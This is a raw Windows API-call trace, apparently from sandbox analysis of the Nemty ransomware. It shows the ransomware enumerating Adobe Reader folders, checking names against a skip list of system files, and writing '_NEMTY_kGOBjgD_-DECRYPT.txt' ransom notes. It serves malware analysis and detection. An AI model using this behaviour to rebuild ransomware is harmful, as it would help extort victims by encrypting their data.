RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.503] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0172.503] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.503] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0172.503] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0172.503] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.503] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0172.503] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.503] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0172.503] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0172.503] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0172.503] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0172.503] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.504] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0172.504] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0172.504] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0172.504] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0172.504] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0172.504] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed08, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0172.504] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0172.504] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94310 [0172.504] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0172.504] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0172.504] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.504] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a72a6b0, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x1a72a6b0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1a72a6b0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0172.504] FindClose (in: hFindFile=0x3423a70 | out: hFindFile=0x3423a70) returned 1 [0172.504] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0172.504] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0172.504] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94200 | out: hHeap=0x4f90000) returned 1 [0172.504] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ffc0b80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa6790, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="JP2KLib.dll", cAlternateFileName="")) returned 1 [0172.504] lstrcmpiW (lpString1="JP2KLib.dll", lpString2=".") returned 1 [0172.504] lstrcmpiW (lpString1="JP2KLib.dll", lpString2="..") returned 1 [0172.504] lstrcmpiW (lpString1="JP2KLib.dll", lpString2="...") returned 1 [0172.504] lstrcmpiW (lpString1="JP2KLib.dll", lpString2="windows") returned -1 [0172.504] lstrcmpiW (lpString1="JP2KLib.dll", lpString2="$RECYCLE.BIN") returned 1 [0172.504] lstrcmpiW (lpString1="JP2KLib.dll", lpString2="rsa") returned -1 [0172.504] lstrcmpiW (lpString1="JP2KLib.dll", lpString2="NTDETECT.COM") returned -1 [0172.504] lstrcmpiW (lpString1="JP2KLib.dll", lpString2="ntldr") returned -1 [0172.504] lstrcmpiW (lpString1="JP2KLib.dll", lpString2="MSDOS.SYS") returned -1 [0172.504] lstrcmpiW (lpString1="JP2KLib.dll", lpString2="IO.SYS") returned 1 [0172.504] lstrcmpiW (lpString1="JP2KLib.dll", lpString2="boot.ini") returned 1 [0172.504] lstrcmpiW (lpString1="JP2KLib.dll", lpString2="boot.ini") returned 1 [0172.504] lstrcmpiW (lpString1="JP2KLib.dll", lpString2="AUTOEXEC.BAT") returned 1 [0172.504] lstrcmpiW (lpString1="JP2KLib.dll", lpString2="ntuser.dat") returned -1 [0172.504] lstrcmpiW (lpString1="JP2KLib.dll", lpString2="desktop.ini") returned 1 [0172.504] lstrcmpiW (lpString1="JP2KLib.dll", lpString2="CONFIG.SYS") returned 1 [0172.504] lstrcmpiW (lpString1="JP2KLib.dll", lpString2="RECYCLER") returned -1 [0172.505] lstrcmpiW (lpString1="JP2KLib.dll", lpString2="BOOTSECT.BAK") returned 1 [0172.505] lstrcmpiW (lpString1="JP2KLib.dll", lpString2="bootmgr") returned 1 [0172.505] lstrcmpiW (lpString1="JP2KLib.dll", lpString2="programdata") returned -1 [0172.505] lstrcmpiW (lpString1="JP2KLib.dll", lpString2="appdata") returned 1 [0172.505] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.505] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="JP2KLib.dll", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0172.505] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="JP2KLib.dll", cchWideChar=11, lpMultiByteStr=0x653ef10, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="JP2KLib.dll", lpUsedDefaultChar=0x0) returned 11 [0172.505] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0172.505] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="JP2KLib.dll", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0172.505] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="JP2KLib.dll", cchWideChar=11, lpMultiByteStr=0x653ef10, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="JP2KLib.dll", lpUsedDefaultChar=0x0) returned 11 [0172.505] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0172.505] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.505] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.505] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="JP2KLib.dll", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0172.505] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="JP2KLib.dll", cchWideChar=11, lpMultiByteStr=0x653ef60, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="JP2KLib.dll", lpUsedDefaultChar=0x0) returned 11 [0172.505] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.505] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.505] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="JP2KLib.dll", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0172.505] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="JP2KLib.dll", cchWideChar=11, lpMultiByteStr=0x653ef98, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="JP2KLib.dll", lpUsedDefaultChar=0x0) returned 11 [0172.505] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.505] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94200 [0172.505] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94178 | out: hHeap=0x4f90000) returned 1 [0172.505] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a50d20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81efec40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="Legal", cAlternateFileName="")) returned 1 [0172.505] lstrcmpiW (lpString1="Legal", lpString2=".") returned 1 [0172.505] lstrcmpiW (lpString1="Legal", lpString2="..") returned 1 [0172.505] lstrcmpiW (lpString1="Legal", lpString2="...") returned 1 [0172.505] lstrcmpiW (lpString1="Legal", lpString2="windows") returned -1 [0172.505] lstrcmpiW (lpString1="Legal", lpString2="$RECYCLE.BIN") returned 1 [0172.505] lstrcmpiW (lpString1="Legal", lpString2="rsa") returned -1 [0172.505] lstrcmpiW (lpString1="Legal", lpString2="NTDETECT.COM") returned -1 [0172.505] lstrcmpiW (lpString1="Legal", lpString2="ntldr") returned -1 [0172.505] lstrcmpiW (lpString1="Legal", lpString2="MSDOS.SYS") returned -1 [0172.505] lstrcmpiW (lpString1="Legal", lpString2="IO.SYS") returned 1 [0172.505] lstrcmpiW (lpString1="Legal", lpString2="boot.ini") returned 1 [0172.505] lstrcmpiW (lpString1="Legal", lpString2="boot.ini") returned 1 [0172.505] lstrcmpiW (lpString1="Legal", lpString2="AUTOEXEC.BAT") returned 1 [0172.505] lstrcmpiW (lpString1="Legal", lpString2="ntuser.dat") returned -1 [0172.506] lstrcmpiW (lpString1="Legal", lpString2="desktop.ini") returned 1 [0172.506] lstrcmpiW (lpString1="Legal", lpString2="CONFIG.SYS") returned 1 [0172.506] lstrcmpiW (lpString1="Legal", lpString2="RECYCLER") returned -1 [0172.506] lstrcmpiW (lpString1="Legal", lpString2="BOOTSECT.BAK") returned 1 [0172.506] lstrcmpiW (lpString1="Legal", lpString2="bootmgr") returned 1 [0172.506] lstrcmpiW (lpString1="Legal", lpString2="programdata") returned -1 [0172.506] lstrcmpiW (lpString1="Legal", lpString2="appdata") returned 1 [0172.506] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Legal", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0172.506] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Legal", cchWideChar=5, lpMultiByteStr=0x653ef10, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Legal", lpUsedDefaultChar=0x0) returned 5 [0172.506] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Legal", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0172.506] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Legal", cchWideChar=5, lpMultiByteStr=0x653ef10, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Legal", lpUsedDefaultChar=0x0) returned 5 [0172.506] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x6351c60 [0172.506] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94200 | out: hHeap=0x4f90000) returned 1 [0172.506] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x6351cd8 [0172.506] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0172.506] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0172.506] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.506] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0172.506] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0172.506] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.506] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0172.506] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0172.506] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0172.506] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0172.506] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ec [0172.508] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0172.508] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0172.508] WriteFile (in: hFile=0x1ec, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eec0, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eec0*=0xef8, lpOverlapped=0x0) returned 1 [0172.509] CloseHandle (hObject=0x1ec) returned 1 [0172.509] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0172.509] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351cd8 | out: hHeap=0x4f90000) returned 1 [0172.509] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x6351cd8 [0172.509] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x6351d50 [0172.509] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x6351dc8 [0172.509] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0172.509] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0172.509] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0172.509] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0172.509] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.509] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0172.509] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0172.509] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.509] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0172.509] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0172.509] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ec [0172.510] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0172.510] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0172.510] WriteFile (in: hFile=0x1ec, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eb80, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eb80*=0xef8, lpOverlapped=0x0) returned 1 [0172.511] CloseHandle (hObject=0x1ec) returned 1 [0172.511] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0172.511] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351dc8 | out: hHeap=0x4f90000) returned 1 [0172.511] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94178 [0172.511] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\*.*", lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a50d20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1a776970, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1a776970, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3423a70 [0172.511] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0172.511] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a50d20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1a776970, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1a776970, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0172.511] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0172.511] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0172.511] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81efec40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81efec40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="CAT", cAlternateFileName="")) returned 1 [0172.511] lstrcmpiW (lpString1="CAT", lpString2=".") returned 1 [0172.511] lstrcmpiW (lpString1="CAT", lpString2="..") returned 1 [0172.511] lstrcmpiW (lpString1="CAT", lpString2="...") returned 1 [0172.511] lstrcmpiW (lpString1="CAT", lpString2="windows") returned -1 [0172.512] lstrcmpiW (lpString1="CAT", lpString2="$RECYCLE.BIN") returned 1 [0172.512] lstrcmpiW (lpString1="CAT", lpString2="rsa") returned -1 [0172.512] lstrcmpiW (lpString1="CAT", lpString2="NTDETECT.COM") returned -1 [0172.512] lstrcmpiW (lpString1="CAT", lpString2="ntldr") returned -1 [0172.512] lstrcmpiW (lpString1="CAT", lpString2="MSDOS.SYS") returned -1 [0172.512] lstrcmpiW (lpString1="CAT", lpString2="IO.SYS") returned -1 [0172.512] lstrcmpiW (lpString1="CAT", lpString2="boot.ini") returned 1 [0172.512] lstrcmpiW (lpString1="CAT", lpString2="boot.ini") returned 1 [0172.512] lstrcmpiW (lpString1="CAT", lpString2="AUTOEXEC.BAT") returned 1 [0172.512] lstrcmpiW (lpString1="CAT", lpString2="ntuser.dat") returned -1 [0172.512] lstrcmpiW (lpString1="CAT", lpString2="desktop.ini") returned -1 [0172.512] lstrcmpiW (lpString1="CAT", lpString2="CONFIG.SYS") returned -1 [0172.512] lstrcmpiW (lpString1="CAT", lpString2="RECYCLER") returned -1 [0172.512] lstrcmpiW (lpString1="CAT", lpString2="BOOTSECT.BAK") returned 1 [0172.512] lstrcmpiW (lpString1="CAT", lpString2="bootmgr") returned 1 [0172.512] lstrcmpiW (lpString1="CAT", lpString2="programdata") returned -1 [0172.512] lstrcmpiW (lpString1="CAT", lpString2="appdata") returned 1 [0172.512] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CAT", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0172.512] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CAT", cchWideChar=3, lpMultiByteStr=0x653ebd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CAT", lpUsedDefaultChar=0x0) returned 3 [0172.512] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CAT", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0172.512] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CAT", cchWideChar=3, lpMultiByteStr=0x653ebd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CAT", lpUsedDefaultChar=0x0) returned 3 [0172.512] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94200 [0172.512] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94178 | out: hHeap=0x4f90000) returned 1 [0172.512] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94178 [0172.512] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0172.512] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0172.512] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.512] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0172.512] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0172.512] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.512] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94288 [0172.512] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0172.512] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x4f94330 [0172.512] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0172.512] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CAT\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\cat\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, 